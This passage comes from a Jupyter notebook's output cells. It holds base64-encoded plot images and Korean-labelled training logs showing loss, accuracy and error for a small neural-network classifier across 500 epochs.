yqj4rQhCwnXRnDwVbqHFuFxpSilqG1soVt4CC6XwpG/BYrSUSOmsfNIMypzKYNGTqAuoi/FpaX0KFyHKzaFQamDObbldSKGT9apzbv303XI2wTnm2VTM5ZCVDykXk5OaS21pXmc2zeKxoLdlGWn03v8nYT2TITtC3WsftpMymsb2bJzJ2OqPiFeqpDzp+jQYXFC6uU07v2I3QnfY0TPBkKrC3AhfFbQTNql17FmXzHnlX5Ect0eGH0nxPTXKUwiY/VLRUQPPUmwz7kUlVfBumfo2z8ZSZupI5SqCtlfAWeHlVLliiKmsQgZOB5E2LdjLSmJA2jIXk9j8mX0KloLcamU7V1LTrWDUZMeIiO3mG6OJlILlsEFN8LuxdQ5u3PEFUNRfQjdHce44LwReiZ3Ra5+oakqoHTfBlz9L6SyrpmU5CRCY/rosZDGOn1Pqws55EogRtUQfywPztGh4gdc/YlL/zMhgy6jR3UWJSF9oKaY3iMmQp/zTuhR7ixDcCNwrZ8hSFNK/dirTKYp420I0pRSZYHOCbZHYLFYLCdCe4agIweL84Ekr/1EoLCtMsY11ANoPz7PYrFYLKeUjjQEW4EhInKWiIQBUwH/RNzLgDvM9hRgVXvjAxaLxWI59YR8fZETQynVLCI/ApYDTuAvSqlMEfkVsE0ptQx4DfiriGShewJTO6o+FovFYglMhxkCAKXUh8CHfrJ5XtvHgBv9/85isVgspw87s9hisViCHGsILBaLJcixhsBisViCHGsILBaLJcjpsAllHYWIlAAnOrW4F/CvzfXvOlidgwOrc3BwMjoPVEr1DnTgjDMEJ4OIbGtrZl1XxeocHFidg4OO0tm6hiwWiyXIsYbAYrFYgpxgMwTHL7rb9bE6BwdW5+CgQ3QOqjECi8VisRxPsPUILBaLxeKHNQQWi8US5ASNIRCRiSKyT0SyRGRuZ9fnVCEifxGRYrPam1sWJyIrReSA+e5p5CIi88092C0iF3ZezU8cEUkSkdUisldEMkVktpF3Wb1FJEJEtojILqPzE0Z+lohsNjovNinfEZFws59ljqd0Zv1PFBFxishOEfnA7HdpfQFEJEdEvhCRdBHZZmQd+mwHhSEQESfwIvAt4Fxgmoic27m1OmUsBCb6yeYCnyqlhgCfmn3Q+g8xn1nAgtNUx1NNMzBHKTUMGAvcb/6fXVnvBuBKpdQIYCQwUUTGAk8DzxmdjwLTTfnpwFGl1GDgOVPuTGQ2sNdrv6vr6+YKpdRIrzkDHftsK6W6/AcYByz32n8EeKSz63UK9UsBMrz29wH9zHY/YJ/ZfgmYFqjcmfwB3geuDha9gShgB3ARepZpiJG3PufodUDGme0QU046u+7/pp6JptG7EvgAkK6sr5feOUAvP1mHPttB0SMABgB5Xvv5RtZV6aOUKgIw3wlG3uXug3EBjAI208X1Nm6SdKAYWAkcBCqUUs2miLderTqb45VA/Omt8UnzPPBzwGX24+na+rpRwAoR2S4is4ysQ5/tDl2Y5j8ICSALxrjZLnUfRKQbsAR4UClVJRJIPV00gOyM01sp1QKMFJFY4F1gWKBi5vuM1llEvg0UK6W2i8gEtzhA0S6hrx+XKKUKRSQBWCkiX7ZT9pToHSw9gnwgyWs/ESjspLqcDo6ISD8A811s5F3mPohIKNoIvKWUWmrEXV5vAKVUBbAGPT4SKyLuFzpvvVp1Nsd7oJeDPVO4BLhBRHKAd9Duoefpuvq2opQqNN/FaIOfRgc/28FiCLYCQ0zEQRh6beRlnVynjmQZcIfZvgPtQ3fLbzeRBmOBSnd380xC9Kv/a8BepdSzXoe6rN4i0tv0BBCRSOCb6EHU1cAUU8xfZ/e9mAKsUsaJfCaglHpEKZWolEpB/15XKaVuoYvq60ZEokWku3sbuAbIoKOf7c4eGDmNAzDXAfvRftVfdnZ9TqFei4AioAn9djAd7Rv9FDhgvuNMWUFHTx0EvgDGdHb9T1Dn8eju724g3Xyu68p6A8OBnUbnDGCekacCW4As4H+BcCOPMPtZ5nhqZ+twErpPAD4IBn2NfrvMJ9PdVnX0s21TTFgsFkuQEyyuIYvFYrG0gTUEFovFEuRYQ2CxWCxBjjUEFovFEuRYQ2CxWCxBjjUElqBHRFpMpkf3p93stCJyj4jcfgqumyMivU72PBbLyWLDRy1Bj4jUKKW6dcJ1c9Bx36Wn+9oWize2R2CxtIF5Y3/arAOwRUQGG/njIvJTs/2AiOwxueDfMbI4EXnPyDaJyHAjjxeRFSa//kt45YkRkVvNNdJF5CWTOt1iOS1YQ2CxQKSfa+gmr2NVSqk04I/oXDf+zAVGKaWGA/cY2RPATiP7BfCmkf8X8LlSahQ6NUAygIgMA25CJxsbCbQAt5xaFS2WtgmW7KMWS3vUmwY4EIu8vp8LcHw38JaIvAe8Z2Tjge8DKKVWmZ5AD+AyYLKR/5+IHDXlrwJGA1tNBtVIPEnFLJYOxxoCi6V9VBvbbq5HN/A3AI+JyHm0nxo40DkEeEMp9cjJVNRiOVGsa8hiaZ+bvL43eh8QEQeQpJRajV5AJRboBqzDuHZMLv1SpVSVn/xbQE9zqk+BKSb/vHuMYWAH6mSx+GB7BBaLGSPw2v9YKeUOIQ0Xkc3ol6Zpfn/nBP5m3D6CXku3QkQeB14Xkd1AHZ70wU8Ai0RkB7AWyAVQSu0RkUfRq1I50Jlk7we+OtWKWiyBsOGjFksb2PBOS7BgXUMWi8US5NgegcVisQQ5tkdgsVgsQY41BBaLxRLkWENgsVgsQY41BBaLxRLkWENgsVgsQc7/AyBPb1QnnAj6AAAAAElFTkSuQmCC\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "5 0.00568997859954834\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.76207035779953 0.6881250143051147 0.31187498569488525\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.8072654604911804 0.6875 0.3125\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2562215328216553 0.9254999756813049 0.07450002431869507\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.42095038294792175 0.9150000214576721 0.08499997854232788\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.18131597340106964 0.9754999876022339 0.024500012397766113\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2924950122833252 0.9649999737739563 0.0350000262260437\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1275801807641983 0.9810000061988831 0.018999993801116943\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.15801860392093658 0.9975000023841858 0.002499997615814209\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.08666427433490753 0.9900000095367432 0.009999990463256836\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05306173115968704 0.9900000095367432 0.009999990463256836\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06015073135495186 0.9934999942779541 0.0065000057220458984\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04377405717968941 0.9925000071525574 0.007499992847442627\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04043237492442131 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.064008928835392 0.9975000023841858 0.002499997615814209\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03175551816821098 0.996999979019165 0.003000020980834961\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.11266269534826279 0.9950000047683716 0.004999995231628418\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0234537273645401 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.027789708226919174 0.9925000071525574 0.007499992847442627\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.023152172565460205 0.9980000257492065 0.001999974250793457\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.023433201014995575 0.9975000023841858 0.002499997615814209\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03208635002374649 0.9980000257492065 0.001999974250793457\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01175416074693203 0.9950000047683716 0.004999995231628418\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.009053260087966919 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01648697815835476 0.9975000023841858 0.002499997615814209\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.031181439757347107 0.9980000257492065 0.001999974250793457\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03313570097088814 0.9900000095367432 0.009999990463256836\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.012034488841891289 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004272250924259424 1.0 0.0\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.019962942227721214 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0063365790992975235 1.0 0.0\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.011032471433281898 0.996999979019165 0.003000020980834961\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004035493358969688 1.0 0.0\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.014957020059227943 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.011741950176656246 1.0 0.0\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.023666372522711754 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0011175519321113825 1.0 0.0\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.018221518024802208 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.021015075966715813 0.9950000047683716 0.004999995231628418\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.013796540908515453 0.9959999918937683 0.0040000081062316895\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.14908915758132935 0.9900000095367432 0.009999990463256836\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.025291668251156807 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0013902555219829082 0.9975000023841858 0.002499997615814209\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.008646433241665363 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.013208182528614998 0.9975000023841858 0.002499997615814209\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.012735195457935333 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.002779562259092927 0.9950000047683716 0.004999995231628418\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003427736461162567 0.9959999918937683 0.0040000081062316895\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.059870798140764236 0.9975000023841858 0.002499997615814209\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003280870383605361 0.996999979019165 0.003000020980834961\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0037446089554578066 1.0 0.0\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07984160631895065 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.008900567889213562 1.0 0.0\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002086804248392582 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0015252175508067012 1.0 0.0\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.01923767291009426 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0042954664677381516 0.9975000023841858 0.002499997615814209\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.006332019343972206 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0012885193573310971 1.0 0.0\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.033846933394670486 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0011540823616087437 0.9975000023841858 0.002499997615814209\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0015123854391276836 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0015359697863459587 0.9950000047683716 0.004999995231628418\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0044624703004956245 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0005170768708921969 1.0 0.0\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003077309112995863 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0027243164367973804 1.0 0.0\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02370498515665531 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0032653745729476213 0.9975000023841858 0.002499997615814209\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.022516001015901566 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0009621426579542458 0.9925000071525574 0.007499992847442627\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.009213446639478207 0.996999979019165 0.003000020980834961\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0008303300710394979 0.9975000023841858 0.002499997615814209\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0005507893511094153 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00043861675658263266 0.9950000047683716 0.004999995231628418\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0018149979878216982 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.000702371122315526 1.0 0.0\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0010152983013540506 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.006440790370106697 0.9925000071525574 0.007499992847442627\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0015206234529614449 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.028897883370518684 1.0 0.0\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0038361712358891964 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.031092455610632896 0.9950000047683716 0.004999995231628418\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.017996685579419136 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.001036785077303648 0.9975000023841858 0.002499997615814209\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0025319228880107403 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0002096999087370932 0.9975000023841858 0.002499997615814209\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0013346471823751926 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.001287041581235826 1.0 0.0\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02525365725159645 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0024768058210611343 1.0 0.0\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0004746493068523705 0.9980000257492065 0.001999974250793457\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010675998404622078 1.0 0.0\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002677546814084053 0.9980000257492065 0.001999974250793457\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0001923609961522743 0.9950000047683716 0.004999995231628418\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0016926989192143083 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004118073731660843 0.9975000023841858 0.002499997615814209\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00434099929407239 0.9959999918937683 0.0040000081062316895\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0010331078665331006 1.0 0.0\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.008095637895166874 0.9980000257492065 0.001999974250793457\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0010906177340075374 0.9975000023841858 0.002499997615814209\n" ] }, { "data": { "image/png": "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